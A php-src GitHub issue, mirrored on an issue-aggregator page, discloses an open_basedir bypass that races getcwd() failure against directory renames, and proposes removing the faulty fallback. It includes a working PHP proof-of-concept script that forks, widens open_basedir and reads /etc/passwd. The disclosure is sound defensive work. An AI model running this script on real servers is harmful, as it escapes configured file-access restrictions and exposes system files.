php / php/php-src

open_basedir bypass via getcwd() failure and race condition

Ouverte
#21,961 0 commentaires 2 réactions 1 personne assignée Voir sur GitHub

@iluuu1994 y travaille déjà.

Depuis le 6/5/2026.

Bug Category: Streams Status: Verified
Langage dominant
C
Étoiles
40.4k
Forks
8.2k
Merge moyen
2 j 13 h
PR mergées (30 j)
96

Description

Description

Originally reported by @mdsnins.

ZEND_INI_MH(OnUpdateBaseDir) allows narrowing of open_basedir at runtime, but not widening. It does so by expanding each path in the string passed to ini_set('open_basedir', 'path1:path2) and verifying it is a sub-path of one of the existing open_basedir paths.

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L101

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L106

expand_filepath() resolves relative paths by fetching the cwd using VCWD_GETCWD() to resolve the relative path against (when relative_to is NULL, that is). VCWD_GETCWD() can fail and return NULL in some edge-case, the common one being that the length of the CWD exceeds the buffer size, specified by MAXPATHLEN (4096 on Linux).

When VCWD_GETCWD() returns NULL, expand_filepath_with_mode() has a fallback that tries to open the relative file using VCWD_OPEN(), and letting the OS resolve the path.

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L809-L828

This is bad for two reasons:

  • When this operation succeeds, VCWD_GETCWD() returns the unresolved path.
  • The true cwd is not necessary the same as VCWD_GETCWD(). VCWD_GETCWD() handles cwd for zts, where we want a thread-specific cwd, rather than one per process. So even if the lookup succeeds, we might find the wrong file.

Now, these two separate checks allow open_basedir to be circumvented with a race-condition (which we don't consider a security issue due to open_basedir not being a security setting). Another process can expand the cwd of the current process by renaming some folder such that VCWD_GETCWD() operation fails (by exceeding MAXPATHLEN), and renaming it back for VCWD_OPEN() to succeed. When adding ../ to the open_basedir paths, expand_filepath() will return the unchanged path "../", which will also pass the open_basedir check if we're currently present in a sub-folder of one of the open_basedir paths.

<?php

chdir("/tmp");
@mkdir("poc/");
chdir("poc/");

echo "original basedir: " . ini_get("open_basedir") . "\n\n";

$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);
@mkdir($magic_depth, 0755, true);

chdir($magic_depth);
$pid = pcntl_fork();

if ($pid == -1) die;
if ($pid == 0) {
    for ($i = 0; $i < 20; $i++) {
        $cur_basedir = ini_get("open_basedir");
        ini_set("open_basedir", $cur_basedir . ":../");
    }

    chdir("/tmp");
    chdir("../");

    $passwd = @file_get_contents("etc/passwd");
    if (!$passwd)
        die("failed\n");

    echo "content of /etc/passwd: \n";
    echo $passwd;
    echo "\n";
} else {
    chdir("/tmp"); //go back to original dir
    for ($i = 0; $i < 3000; $i++) {
        rename("poc", str_repeat("x", 250));
        rename(str_repeat("x", 250), "poc");
    }
}

The simplest solution is to just remove the fallback in expand_filepath_with_mode(), which is incorrect to begin with.

PHP Version
-
Operating System

No response

Guide de contribution

Ouvrir le guide de contribution

Par où commencer

  1. Lisez l'issue en entier, puis le guide de contribution du projet.
  2. Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
  3. Forkez le dépôt et travaillez sur une branche.
  4. Ouvrez une pull request qui référence le numéro de l'issue.

Évaluation

Cette issue n'a pas encore été évaluée.

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.